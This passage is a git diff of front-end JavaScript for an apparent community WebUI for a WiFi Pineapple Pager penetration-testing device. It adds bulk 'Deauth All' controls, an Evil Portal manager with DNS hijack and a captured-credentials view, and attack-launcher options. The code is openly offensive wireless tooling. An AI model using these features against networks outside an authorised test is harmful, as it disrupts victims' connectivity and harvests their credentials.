if (document.activeElement !== rfSel) rfSel.value = role;
|
||||||
|
rfStatusBadge.textContent = role.toUpperCase();
|
||||||
|
rfStatusBadge.className = 'badge ' +
|
||||||
|
(role === 'uplink' ? (d.assoc ? 'on' : 'warn') : role === 'attack' ? 'warn' : 'off');
|
||||||
|
const parts = [];
|
||||||
|
if (role === 'uplink') parts.push(d.assoc ? 'associated to ' + d.assoc : 'not associated');
|
||||||
|
if (d.hop_paused != null) parts.push('hop ' + (d.hop_paused ? 'paused' : 'running'));
|
||||||
|
rfStatusInfo.textContent = parts.join(' · ');
|
||||||
|
}
|
||||||
|
const rfApply = btn('Apply Role', () => {
|
||||||
|
const role = rfSel.value;
|
||||||
|
if (role === 'uplink' && !rfSsid.value.trim()) {
|
||||||
|
rfResult.textContent = 'SSID is required for the uplink role.';
|
||||||
|
rfResult.className = 'mk8-rf-result error';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
return PagerAPI.post('/api/rfplan/role', { role, ssid: rfSsid.value.trim(), psk: rfPsk.value })
|
||||||
|
.then((r) => {
|
||||||
|
const d = r.data || {};
|
||||||
|
rfResult.textContent = 'Role applied: ' + (d.role || role) +
|
||||||
|
(d.assoc ? ' — associated to ' + d.assoc : '');
|
||||||
|
rfResult.className = 'mk8-rf-result ok';
|
||||||
|
rfPsk.value = '';
|
||||||
|
return PagerAPI.get('/api/rfplan').then((s) => renderRfStatus(s.data || {}));
|
||||||
|
})
|
||||||
|
.catch((e) => {
|
||||||
|
rfResult.textContent = (e && e.message) || 'Role change failed.';
|
||||||
|
rfResult.className = 'mk8-rf-result error';
|
||||||
|
});
|
||||||
|
});
|
||||||
|
const rfCard = h('div', { class: 'pineap-title-card pineap-card-settings' },
|
||||||
|
h('div', { class: 'pineap-card-title' }, 'RF Role (radio1)'),
|
||||||
|
h('p', { class: 'pineap-card-subtitle',
|
||||||
|
text: 'Radio1 is shared between an uplink client and attack work; applying a role makes them mutually exclusive.' }));
|
||||||
|
rfCard.appendChild(h('div', { class: 'rf-role-status' }, rfStatusBadge, rfStatusInfo));
|
||||||
|
rfCard.appendChild(h('label', {}, 'Role', rfSel));
|
||||||
|
rfCard.appendChild(h('div', { class: 'rf-role-grid' },
|
||||||
|
h('label', {}, 'Uplink SSID', rfSsid),
|
||||||
|
h('label', {}, 'Uplink Password', rfPsk)));
|
||||||
|
rfCard.appendChild(rfApply);
|
||||||
|
rfCard.appendChild(rfResult);
|
||||||
|
|
||||||
const modeRow = h('div', { class: 'pineap-title-card-container' });
|
const modeRow = h('div', { class: 'pineap-title-card-container' });
|
||||||
modeRow.appendChild(modeCard);
|
modeRow.appendChild(rfCard);
|
||||||
modeRow.appendChild(quickCard);
|
modeRow.appendChild(quickCard);
|
||||||
box.appendChild(modeRow);
|
box.appendChild(modeRow);
|
||||||
|
|
||||||
@@ -452,9 +539,6 @@ views.pineap = (root) => {
|
|||||||
}
|
}
|
||||||
function rememberAdvanced(key, value) {
|
function rememberAdvanced(key, value) {
|
||||||
PINEAP_SESSION[key] = value;
|
PINEAP_SESSION[key] = value;
|
||||||
PINEAP_SESSION.mode = 'advanced';
|
|
||||||
modeDirty = false;
|
|
||||||
selectMode('advanced', false);
|
|
||||||
}
|
}
|
||||||
bind(quick.collect, (v) => PagerAPI.post('/api/pineap/ssidpool/collect', { enable: v }),
|
bind(quick.collect, (v) => PagerAPI.post('/api/pineap/ssidpool/collect', { enable: v }),
|
||||||
(v) => rememberAdvanced('collect', v));
|
(v) => rememberAdvanced('collect', v));
|
||||||
@@ -462,80 +546,16 @@ views.pineap = (root) => {
|
|||||||
(v) => rememberAdvanced('advertise', v));
|
(v) => rememberAdvanced('advertise', v));
|
||||||
setKnownCheckbox(quick.advertise, PINEAP_SESSION.advertise);
|
setKnownCheckbox(quick.advertise, PINEAP_SESSION.advertise);
|
||||||
|
|
||||||
function renderModeInfo(m) {
|
|
||||||
modeInfo.innerHTML = '';
|
|
||||||
if (m === 'unknown') {
|
|
||||||
modeInfo.textContent = 'Select a mode to establish the Pager\'s PineAP preset.';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
const descriptions = {
|
|
||||||
passive: ['Capture SSIDs to the impersonation pool', 'Do not broadcast the pool', 'Keep the PineAP response engine disabled'],
|
|
||||||
active: ['Capture SSIDs to the impersonation pool', 'Enable the PineAP response engine', 'Pool broadcast stays disabled (firmware crash fix)']
|
|
||||||
};
|
|
||||||
if (m === 'advanced') {
|
|
||||||
modeInfo.textContent = 'All supported PineAP features are individually customizable from Quick Settings and the PineAP tabs.';
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
modeInfo.appendChild(h('div', { text: 'In ' + m[0].toUpperCase() + m.slice(1) + ' Mode:' }));
|
|
||||||
const list = h('ul', { class: 'pineap-mode-features' });
|
|
||||||
descriptions[m].forEach((text) => list.appendChild(h('li', { text })));
|
|
||||||
modeInfo.appendChild(list);
|
|
||||||
}
|
|
||||||
|
|
||||||
function selectMode(m, dirty) {
|
|
||||||
selectedMode = m;
|
|
||||||
if (dirty) modeDirty = true;
|
|
||||||
Object.keys(segBtns).forEach((k) => segBtns[k].classList.toggle('active', k === m));
|
|
||||||
mode.textContent = m === 'unknown' ? 'Unknown' : m[0].toUpperCase() + m.slice(1);
|
|
||||||
mode.className = 'badge ' + (m === 'unknown' ? 'unknown' : 'on');
|
|
||||||
renderModeInfo(m);
|
|
||||||
saveModeBtn.disabled = !modeDirty || modePending || m === 'unknown';
|
|
||||||
}
|
|
||||||
|
|
||||||
function saveMode() {
|
|
||||||
if (!modeDirty || modePending || selectedMode === 'unknown') return;
|
|
||||||
modePending = true;
|
|
||||||
saveModeBtn.disabled = true;
|
|
||||||
saveModeBtn.classList.add('busy');
|
|
||||||
saveModeBtn.setAttribute('aria-busy', 'true');
|
|
||||||
PagerAPI.post('/api/pineap/mode', { mode: selectedMode }).then((r) => {
|
|
||||||
const state = r.data || {};
|
|
||||||
PINEAP_SESSION.mode = state.mode || selectedMode;
|
|
||||||
['karma', 'advertise', 'collect'].forEach((key) => {
|
|
||||||
if (typeof state[key] === 'boolean') PINEAP_SESSION[key] = state[key];
|
|
||||||
});
|
|
||||||
modeDirty = false;
|
|
||||||
selectMode(PINEAP_SESSION.mode, false);
|
|
||||||
App.toast('Mode: ' + PINEAP_SESSION.mode[0].toUpperCase() + PINEAP_SESSION.mode.slice(1));
|
|
||||||
load();
|
|
||||||
}).catch(() => { App.toast('Failed to save PineAP mode', 'error'); })
|
|
||||||
.finally(() => {
|
|
||||||
modePending = false;
|
|
||||||
saveModeBtn.classList.remove('busy');
|
|
||||||
saveModeBtn.removeAttribute('aria-busy');
|
|
||||||
saveModeBtn.disabled = !modeDirty;
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
let loadPending = false;
|
let loadPending = false;
|
||||||
function load() {
|
function load() {
|
||||||
if (loadPending) return;
|
if (loadPending) return;
|
||||||
loadPending = true;
|
loadPending = true;
|
||||||
const stateRequest = Promise.all([
|
const stateRequest = Promise.all([
|
||||||
PagerAPI.get('/api/pineap/get_config').catch(() => ({ data: {} })),
|
PagerAPI.get('/api/pineap/get_config').catch(() => ({ data: {} })),
|
||||||
PagerAPI.get('/api/pineap/hostapd').catch(() => ({ data: {} })),
|
PagerAPI.post('/api/pineap/wifi/get_ap').catch(() => ({ data: {} }))
|
||||||
PagerAPI.post('/api/pineap/wifi/get_ap').catch(() => ({ data: {} })),
|
]).then(([cfg, ap]) => {
|
||||||
PagerAPI.get('/api/pineap/mode').catch(() => ({ data: {} }))
|
const c = cfg.data || {}, a = ap.data || {};
|
||||||
]).then(([cfg, host, ap, preset]) => {
|
|
||||||
const c = cfg.data || {}, hh = host.data || {}, a = ap.data || {}, p = preset.data || {};
|
|
||||||
const disabled = Object.prototype.hasOwnProperty.call(hh, 'pineap_disabled') ? !!hh.pineap_disabled : null;
|
|
||||||
const wpa = a.wpa || {};
|
const wpa = a.wpa || {};
|
||||||
PINEAP_SESSION.mode = ['passive', 'active', 'advanced'].indexOf(p.mode) !== -1 ? p.mode : 'unknown';
|
|
||||||
['karma', 'advertise', 'collect'].forEach((key) => {
|
|
||||||
if (typeof p[key] === 'boolean') PINEAP_SESSION[key] = p[key];
|
|
||||||
});
|
|
||||||
if (!modeDirty) selectMode(PINEAP_SESSION.mode, false);
|
|
||||||
mode.className = 'badge ' + (disabled === true ? 'off' : disabled === false ? 'on' : 'unknown');
|
|
||||||
const collect = typeof PINEAP_SESSION.collect === 'boolean'
|
const collect = typeof PINEAP_SESSION.collect === 'boolean'
|
||||||
? PINEAP_SESSION.collect
|
? PINEAP_SESSION.collect
|
||||||
: Object.prototype.hasOwnProperty.call(c, 'autossidpool') ? !!c.autossidpool : null;
|
: Object.prototype.hasOwnProperty.call(c, 'autossidpool') ? !!c.autossidpool : null;
|
||||||
@@ -562,7 +582,14 @@ views.pineap = (root) => {
|
|||||||
}).catch(() => { stats.clients.textContent = '0'; }),
|
}).catch(() => { stats.clients.textContent = '0'; }),
|
||||||
PagerAPI.get('/api/pineap/handshakes').then((hs) => {
|
PagerAPI.get('/api/pineap/handshakes').then((hs) => {
|
||||||
stats.handshakes.textContent = Array.isArray((hs.data || {}).files) ? hs.data.files.length : 'Unavailable';
|
stats.handshakes.textContent = Array.isArray((hs.data || {}).files) ? hs.data.files.length : 'Unavailable';
|
||||||
}).catch(() => { stats.handshakes.textContent = 'Unavailable'; })
|
}).catch(() => { stats.handshakes.textContent = 'Unavailable'; }),
|
||||||
|
PagerAPI.get('/api/rfplan').then((rf) => {
|
||||||
|
renderRfStatus(rf.data || {});
|
||||||
|
}).catch(() => {
|
||||||
|
rfStatusBadge.textContent = '—';
|
||||||
|
rfStatusBadge.className = 'badge unknown';
|
||||||
|
rfStatusInfo.textContent = 'RF plan unavailable';
|
||||||
|
})
|
||||||
];
|
];
|
||||||
Promise.allSettled([stateRequest].concat(statRequests)).finally(() => { loadPending = false; });
|
Promise.allSettled([stateRequest].concat(statRequests)).finally(() => { loadPending = false; });
|
||||||
}
|
}
|
||||||
@@ -661,6 +688,7 @@ views.pineap_open = attackLauncher('open', {
|
|||||||
title: 'OpenAP',
|
title: 'OpenAP',
|
||||||
bssid: true,
|
bssid: true,
|
||||||
country: true,
|
country: true,
|
||||||
|
portal: true,
|
||||||
tabHash: '#/pineap/open'
|
tabHash: '#/pineap/open'
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -1163,6 +1191,9 @@ function attackLauncher(kind, opts) {
|
|||||||
text: 'Prefilled from Recon (' + (prefill.source || 'target') + '). Set the passphrase, verify the settings, then Deploy.' }));
|
text: 'Prefilled from Recon (' + (prefill.source || 'target') + '). Set the passphrase, verify the settings, then Deploy.' }));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let portalSel = null;
|
||||||
|
if (opts.portal) portalSel = h('select', { id: 'atk-portal' });
|
||||||
|
|
||||||
f.appendChild(h('div', { class: 'row', style: 'margin-top:10px' },
|
f.appendChild(h('div', { class: 'row', style: 'margin-top:10px' },
|
||||||
h('div', {}, (function () {
|
h('div', {}, (function () {
|
||||||
const deployBtn = btn('Deploy Attack', () => {
|
const deployBtn = btn('Deploy Attack', () => {
|
||||||
@@ -1174,6 +1205,7 @@ function attackLauncher(kind, opts) {
|
|||||||
if (pskIn) { body.passphrase = pskIn.value; body.enctype = encSel.value; }
|
if (pskIn) { body.passphrase = pskIn.value; body.enctype = encSel.value; }
|
||||||
if (bssidIn) body.bssid = bssidIn.value.trim();
|
if (bssidIn) body.bssid = bssidIn.value.trim();
|
||||||
if (coSel) body.country = coSel.value;
|
if (coSel) body.country = coSel.value;
|
||||||
|
if (portalSel) body.portal = portalSel.value || '';
|
||||||
runAction(deployBtn, () => PagerAPI.post('/api/attacks/deploy', body)
|
runAction(deployBtn, () => PagerAPI.post('/api/attacks/deploy', body)
|
||||||
.then((r) => { verifiedToast(r.data || {}); load(); }), 'Deploying…');
|
.then((r) => { verifiedToast(r.data || {}); load(); }), 'Deploying…');
|
||||||
});
|
});
|
||||||
@@ -1192,6 +1224,34 @@ function attackLauncher(kind, opts) {
|
|||||||
const status = attackStatusCard();
|
const status = attackStatusCard();
|
||||||
box.appendChild(status.card);
|
box.appendChild(status.card);
|
||||||
|
|
||||||
|
if (opts.portal) {
|
||||||
|
const pCard = h('div', { class: 'pineap-title-card' });
|
||||||
|
pCard.appendChild(h('div', { class: 'pineap-card-title' }, 'Evil Portal'));
|
||||||
|
const pBody = h('div', { style: 'font-size:13px' });
|
||||||
|
pCard.appendChild(pBody);
|
||||||
|
box.appendChild(pCard);
|
||||||
|
PagerAPI.get('/api/portals').then((r) => {
|
||||||
|
const d = r.data || {};
|
||||||
|
const portals = d.portals || [];
|
||||||
|
portalSel.innerHTML = '';
|
||||||
|
if (!portals.length) {
|
||||||
|
portalSel.disabled = true;
|
||||||
|
portalSel.appendChild(h('option', { value: '', text: 'No portal templates imported' }));
|
||||||
|
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
|
||||||
|
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
|
||||||
|
text: 'Import a Hak5-format portal zip in the Evil Portal tab to enable credential capture.' }));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
portalSel.appendChild(h('option', { value: '', text: 'None' }));
|
||||||
|
portals.forEach((p) => portalSel.appendChild(
|
||||||
|
h('option', { value: p.name, text: p.name + (p.name === d.active ? ' (active)' : '') })));
|
||||||
|
if (d.active && portals.some((p) => p.name === d.active)) portalSel.value = d.active;
|
||||||
|
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
|
||||||
|
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
|
||||||
|
text: 'The selected portal is activated when this attack deploys and stopped with it.' }));
|
||||||
|
}).catch(() => {});
|
||||||
|
}
|
||||||
|
|
||||||
const hsBox = h('div', {});
|
const hsBox = h('div', {});
|
||||||
const captureBox = h('div', { class: 'pineap-title-card' });
|
const captureBox = h('div', { class: 'pineap-title-card' });
|
||||||
captureBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Monitor Capture'));
|
captureBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Monitor Capture'));
|
||||||
@@ -1203,6 +1263,9 @@ function attackLauncher(kind, opts) {
|
|||||||
function capRow(st) {
|
function capRow(st) {
|
||||||
capBody.innerHTML = '';
|
capBody.innerHTML = '';
|
||||||
const run = !!(st && st.running);
|
const run = !!(st && st.running);
|
||||||
|
// Adopt the iface the backend reports as actually capturing: the
|
||||||
|
// status poll may target a different monitor than the form default.
|
||||||
|
if (run && st.iface) capIface = st.iface;
|
||||||
capBody.appendChild(h('div', { class: 'row' },
|
capBody.appendChild(h('div', { class: 'row' },
|
||||||
h('span', { text: run ? ('Capturing on ' + (st.iface || capIface)) : 'Not capturing' }),
|
h('span', { text: run ? ('Capturing on ' + (st.iface || capIface)) : 'Not capturing' }),
|
||||||
h('div', {}, (function () {
|
h('div', {}, (function () {
|
||||||
@@ -1361,6 +1424,24 @@ function deauthPanel(ssidRef) {
|
|||||||
const apSel = h('select', {});
|
const apSel = h('select', {});
|
||||||
const clTable = h('div', {});
|
const clTable = h('div', {});
|
||||||
let lastLookup = '';
|
let lastLookup = '';
|
||||||
|
let lastClients = [];
|
||||||
|
const deauthAllBtn = btn('Deauth All', () => {
|
||||||
|
const parts = apSel.value.split('|');
|
||||||
|
if (!lastClients.length) { App.toast('No devices to deauth — run Find first', 'error'); return; }
|
||||||
|
if (!parts[0]) { App.toast('Pick an AP first', 'error'); return; }
|
||||||
|
if (!window.confirm('Deauthenticate ALL ' + lastClients.length +
|
||||||
|
' listed device(s) against ' + parts[0] + '?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
|
||||||
|
runAction(deauthAllBtn, () => PagerAPI.post('/api/attacks/deauth/bulk', {
|
||||||
|
targets: lastClients.map((mac) => ({
|
||||||
|
bssid: parts[0], client: mac,
|
||||||
|
channel: parseInt(parts[1], 10) || null
|
||||||
|
}))
|
||||||
|
}).then((r) => {
|
||||||
|
const d = r.data || {};
|
||||||
|
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
|
||||||
|
'/' + ((d.results || []).length) + ' devices');
|
||||||
|
}), 'Sending…');
|
||||||
|
}, 'danger');
|
||||||
function lookup(q) {
|
function lookup(q) {
|
||||||
if (!q || q === lastLookup) return Promise.resolve();
|
if (!q || q === lastLookup) return Promise.resolve();
|
||||||
lastLookup = q;
|
lastLookup = q;
|
||||||
@@ -1374,6 +1455,7 @@ function deauthPanel(ssidRef) {
|
|||||||
if (!(d.aps || []).length) apSel.appendChild(h('option', { value: '|1', text: 'No APs found — check SSID' }));
|
if (!(d.aps || []).length) apSel.appendChild(h('option', { value: '|1', text: 'No APs found — check SSID' }));
|
||||||
clTable.innerHTML = '';
|
clTable.innerHTML = '';
|
||||||
const cl = (d.clients || []).slice(0, 30);
|
const cl = (d.clients || []).slice(0, 30);
|
||||||
|
lastClients = cl.map((c) => c.mac || c.client_mac || '').filter(Boolean);
|
||||||
if (!cl.length) {
|
if (!cl.length) {
|
||||||
clTable.appendChild(h('div', { class: 'empty', text: 'No devices in recon yet.' }));
|
clTable.appendChild(h('div', { class: 'empty', text: 'No devices in recon yet.' }));
|
||||||
return;
|
return;
|
||||||
@@ -1408,8 +1490,10 @@ function deauthPanel(ssidRef) {
|
|||||||
})())));
|
})())));
|
||||||
body.appendChild(apSel);
|
body.appendChild(apSel);
|
||||||
body.appendChild(clTable);
|
body.appendChild(clTable);
|
||||||
body.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
|
body.appendChild(h('div', { class: 'row', style: 'margin-top:6px' },
|
||||||
text: 'Only deauth targets you are authorized to test.' }));
|
h('div', {}, deauthAllBtn),
|
||||||
|
h('div', { class: 'muted', style: 'font-size:12px;align-self:center',
|
||||||
|
text: 'Only deauth targets you are authorized to test.' })));
|
||||||
if (ssidRef) {
|
if (ssidRef) {
|
||||||
ssidRef.tick = () => {
|
ssidRef.tick = () => {
|
||||||
const liveSsid = ssidRef.current && ssidRef.current.trim();
|
const liveSsid = ssidRef.current && ssidRef.current.trim();
|
||||||
@@ -2090,6 +2174,26 @@ views.recon = (root) => {
|
|||||||
.then(() => App.toast('Examining channel ' + ap.channel + ' — check the Pager screen')), 'Examining…');
|
.then(() => App.toast('Examining channel ' + ap.channel + ' — check the Pager screen')), 'Examining…');
|
||||||
});
|
});
|
||||||
actions.appendChild(exC);
|
actions.appendChild(exC);
|
||||||
|
const focusClients = (ap.clients || []).filter((client) => client && client.mac);
|
||||||
|
if (focusClients.length && ap.bssid) {
|
||||||
|
const deauthAll = h('button', { class: 'btn danger recon-focus-action-button',
|
||||||
|
text: 'Deauth All Clients (' + focusClients.length + ')' });
|
||||||
|
deauthAll.addEventListener('click', () => {
|
||||||
|
const ssidLabel = ap.ssid || 'hidden network';
|
||||||
|
if (!window.confirm('Deauthenticate ' + focusClients.length + ' client(s) of "' +
|
||||||
|
ssidLabel + '"?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
|
||||||
|
runAction(deauthAll, () => PagerAPI.post('/api/attacks/deauth/bulk', {
|
||||||
|
targets: focusClients.map((c) => ({
|
||||||
|
bssid: ap.bssid, client: c.mac, channel: ap.channel == null ? null : ap.channel
|
||||||
|
}))
|
||||||
|
}).then((r) => {
|
||||||
|
const d = r.data || {};
|
||||||
|
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
|
||||||
|
'/' + ((d.results || []).length) + ' clients');
|
||||||
|
}), 'Sending…');
|
||||||
|
});
|
||||||
|
actions.appendChild(deauthAll);
|
||||||
|
}
|
||||||
|
|
||||||
const details = h('div', { class: 'recon-focus-body' });
|
const details = h('div', { class: 'recon-focus-body' });
|
||||||
focusSidebar.appendChild(details);
|
focusSidebar.appendChild(details);
|
||||||
@@ -3807,6 +3911,43 @@ views.settings = (root) => {
|
|||||||
overlay.appendChild(restoreBtn);
|
overlay.appendChild(restoreBtn);
|
||||||
loadOverlay();
|
loadOverlay();
|
||||||
|
|
||||||
|
const profiles = settingsCard(box, 'Reliability Profiles',
|
||||||
|
'Snapshots of the PineAP, wireless, and network UCI config. Save one before risky changes; restoring rolls the config back and reloads the radios.');
|
||||||
|
const profBody = h('div', { class: 'settings-table-wrap', text: 'Loading…' });
|
||||||
|
profiles.appendChild(profBody);
|
||||||
|
function loadProfiles() {
|
||||||
|
PagerAPI.get('/api/reliability/profiles').then((r) => {
|
||||||
|
const names = (r.data || {}).profiles || [];
|
||||||
|
profBody.innerHTML = '';
|
||||||
|
if (!names.length) {
|
||||||
|
profBody.appendChild(h('div', { class: 'empty', text: 'No saved profiles yet.' }));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
profBody.appendChild(table([
|
||||||
|
{ label: 'Profile', key: 'name' },
|
||||||
|
{ label: '', render: (row) => {
|
||||||
|
const doRestore = btn('Restore', () => runAction(doRestore,
|
||||||
|
() => PagerAPI.post('/api/reliability/restore', { name: row.name })
|
||||||
|
.then(() => App.toast('Profile restored; radios reloaded')), 'Restoring…'), 'ghost');
|
||||||
|
return doRestore;
|
||||||
|
} }
|
||||||
|
], names.map((name) => ({ name }))));
|
||||||
|
}).catch(() => { profBody.textContent = 'Unable to load profiles.'; });
|
||||||
|
}
|
||||||
|
const profName = h('input', { placeholder: 'e.g. pre-evilwpa', maxlength: '64',
|
||||||
|
autocomplete: 'off' });
|
||||||
|
const profSave = btn('Save Profile', () => {
|
||||||
|
const name = profName.value.trim();
|
||||||
|
if (!name) { App.toast('Profile name is required', 'error'); return; }
|
||||||
|
return runAction(profSave, () => PagerAPI.post('/api/reliability/profile', { name })
|
||||||
|
.then(() => { profName.value = ''; App.toast('Config profile saved'); loadProfiles(); }), 'Saving…');
|
||||||
|
});
|
||||||
|
profiles.appendChild(h('div', { class: 'settings-form-grid' },
|
||||||
|
h('label', {}, 'Profile Name', profName)));
|
||||||
|
profiles.appendChild(h('div', { class: 'settings-actions' }, profSave,
|
||||||
|
btn('Refresh', () => { loadProfiles(); }, 'ghost')));
|
||||||
|
loadProfiles();
|
||||||
|
|
||||||
settingsCard(box, 'Button Script', 'The Mark VII button script has no safe Pager equivalent. Pager buttons remain managed by the native input and payload-launcher system.');
|
settingsCard(box, 'Button Script', 'The Mark VII button script has no safe Pager equivalent. Pager buttons remain managed by the native input and payload-launcher system.');
|
||||||
|
|
||||||
const resources = settingsCard(box, 'Resources');
|
const resources = settingsCard(box, 'Resources');
|
||||||
@@ -3985,3 +4126,175 @@ views.settings_help = (root) => {
|
|||||||
license.appendChild(h('p', { class: 'muted', text: 'This community WebUI runs alongside the licensed WiFi Pineapple Pager firmware. Third-party component notices remain available in their distributed source files.' }));
|
license.appendChild(h('p', { class: 'muted', text: 'This community WebUI runs alongside the licensed WiFi Pineapple Pager firmware. Third-party component notices remain available in their distributed source files.' }));
|
||||||
return { destroy: () => {} };
|
return { destroy: () => {} };
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Evil Portal — Hak5 EvilPortalNano-compatible captive portal manager.
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
views.pineap_evilportal = (root) => {
|
||||||
|
const box = pineapShell(root, '#/pineap/evilportal');
|
||||||
|
const portalRoot = h('div', { style: 'display:flex;flex-direction:column;gap:16px' });
|
||||||
|
box.appendChild(portalRoot);
|
||||||
|
|
||||||
|
function portalCard(title) {
|
||||||
|
const card = h('div', { class: 'pineap-title-card' });
|
||||||
|
card.appendChild(h('div', { class: 'pineap-card-title' }, title));
|
||||||
|
portalRoot.appendChild(card);
|
||||||
|
return card;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Active portal status ----
|
||||||
|
const statusCard = portalCard('Active Portal');
|
||||||
|
const statusBody = h('div', { style: 'font-size:13px;line-height:1.9' });
|
||||||
|
statusCard.appendChild(statusBody);
|
||||||
|
let activeName = null;
|
||||||
|
|
||||||
|
// ---- Templates ----
|
||||||
|
const tplCard = portalCard('Portal Templates');
|
||||||
|
const tplBody = h('div', { style: 'font-size:13px' });
|
||||||
|
tplCard.appendChild(tplBody);
|
||||||
|
|
||||||
|
// ---- Import ----
|
||||||
|
const importCard = portalCard('Import Portal');
|
||||||
|
const importBody = h('div', { style: 'font-size:13px' });
|
||||||
|
importCard.appendChild(importBody);
|
||||||
|
const nameIn = h('input', { placeholder: 'Portal name (optional override)' });
|
||||||
|
const fileIn = h('input', { type: 'file', accept: '.zip,application/zip' });
|
||||||
|
importBody.appendChild(h('div', { class: 'row' }, nameIn,
|
||||||
|
h('div', {}, fileIn)));
|
||||||
|
importBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
|
||||||
|
text: 'Upload a zip of a Hak5 Evil Portal (index.php + assets). Compatible with kleo/evilportals and other EvilPortalNano portals.' }));
|
||||||
|
|
||||||
|
function refresh() {
|
||||||
|
return PagerAPI.get('/api/portals').then((r) => {
|
||||||
|
const d = r.data || {};
|
||||||
|
activeName = d.active || null;
|
||||||
|
renderStatus();
|
||||||
|
renderTemplates(d.portals || []);
|
||||||
|
}).catch(() => App.toast('Failed to load portals', 'error'));
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderStatus() {
|
||||||
|
statusBody.innerHTML = '';
|
||||||
|
const on = !!activeName;
|
||||||
|
statusBody.appendChild(h('div', { class: 'row' },
|
||||||
|
h('div', { style: 'min-width:130px', text: 'Status' }),
|
||||||
|
badge(on)));
|
||||||
|
statusBody.appendChild(h('div', { class: 'row' },
|
||||||
|
h('div', { style: 'min-width:130px', text: 'Portal' }),
|
||||||
|
h('span', { text: on ? activeName : '—' })));
|
||||||
|
if (on) {
|
||||||
|
statusBody.appendChild(h('div', { class: 'row' },
|
||||||
|
h('div', { style: 'min-width:130px', text: '' }),
|
||||||
|
h('span', { class: 'muted', style: 'font-size:12px',
|
||||||
|
text: 'Serving on http://<device-ip>/ with DNS hijack (all hostnames resolve to the Pager).' })));
|
||||||
|
statusBody.appendChild(h('div', { class: 'row' },
|
||||||
|
h('div', { style: 'min-width:130px', text: '' }),
|
||||||
|
h('div', {}, btn('Stop Portal', () => {
|
||||||
|
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(activeName) + '/deactivate', {})
|
||||||
|
.then(refresh), 'Stopping…');
|
||||||
|
}, 'danger'))));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderTemplates(portals) {
|
||||||
|
tplBody.innerHTML = '';
|
||||||
|
if (!portals.length) {
|
||||||
|
tplBody.appendChild(h('div', { class: 'empty',
|
||||||
|
text: 'No portal templates imported. Import a zip below to get started.' }));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
tplBody.appendChild(table(
|
||||||
|
[{ key: 'name', label: 'Name' }, { key: 'size', label: 'Size' },
|
||||||
|
{ key: 'captures', label: 'Captures' }, { key: '_actions', label: '' }],
|
||||||
|
portals.map((p) => ({
|
||||||
|
name: p.name, size: fmtBytes(p.bytes), captures: String(p.captures || 0),
|
||||||
|
_actions: (function () {
|
||||||
|
const wrapRow = h('div', { style: 'display:flex;gap:6px' });
|
||||||
|
if (p.name === activeName) {
|
||||||
|
wrapRow.appendChild(btn('Stop', () => {
|
||||||
|
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/deactivate', {})
|
||||||
|
.then(refresh), 'Stopping…');
|
||||||
|
}, 'danger'));
|
||||||
|
} else {
|
||||||
|
wrapRow.appendChild(btn('Activate', () => {
|
||||||
|
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/activate', {})
|
||||||
|
.then(() => App.toast('Portal active — DNS hijack on'))
|
||||||
|
.then(refresh), 'Activating…');
|
||||||
|
}, 'danger'));
|
||||||
|
}
|
||||||
|
wrapRow.appendChild(btn('Download', () => {
|
||||||
|
window.open('/api/portals/' + encodeURIComponent(p.name) + '/download', '_blank');
|
||||||
|
}, 'ghost'));
|
||||||
|
wrapRow.appendChild(btn('Delete', () => {
|
||||||
|
if (!window.confirm('Delete portal "' + p.name + '"?')) return;
|
||||||
|
runAction(null, () => PagerAPI.del('/api/portals/' + encodeURIComponent(p.name))
|
||||||
|
.then(refresh), 'Deleting…');
|
||||||
|
}, 'danger'));
|
||||||
|
return wrapRow;
|
||||||
|
})()
|
||||||
|
}))));
|
||||||
|
}
|
||||||
|
|
||||||
|
fileIn.addEventListener('change', () => {
|
||||||
|
const f = fileIn.files && fileIn.files[0];
|
||||||
|
fileIn.value = '';
|
||||||
|
if (!f) return;
|
||||||
|
if (f.size > 10 * 1024 * 1024) { App.toast('Zip too large (max 10 MB)', 'error'); return; }
|
||||||
|
const fr = new FileReader();
|
||||||
|
fr.onload = () => {
|
||||||
|
const b64 = String(fr.result).split(',')[1] || '';
|
||||||
|
runAction(null, () => PagerAPI.post('/api/portals/import', {
|
||||||
|
name: nameIn.value.trim() || undefined, data: b64
|
||||||
|
}).then((r) => {
|
||||||
|
App.toast('Imported portal "' + ((r.data || {}).name || '?') + '"');
|
||||||
|
nameIn.value = '';
|
||||||
|
return refresh();
|
||||||
|
}), 'Importing…');
|
||||||
|
};
|
||||||
|
fr.readAsDataURL(f);
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---- Captured credentials ----
|
||||||
|
const capCard = portalCard('Captured Credentials');
|
||||||
|
const capBody = h('div', { style: 'font-size:13px' });
|
||||||
|
capCard.appendChild(capBody);
|
||||||
|
|
||||||
|
function loadCaptures() {
|
||||||
|
return PagerAPI.get('/api/portals/captures?limit=200').then((r) => {
|
||||||
|
const d = r.data || {};
|
||||||
|
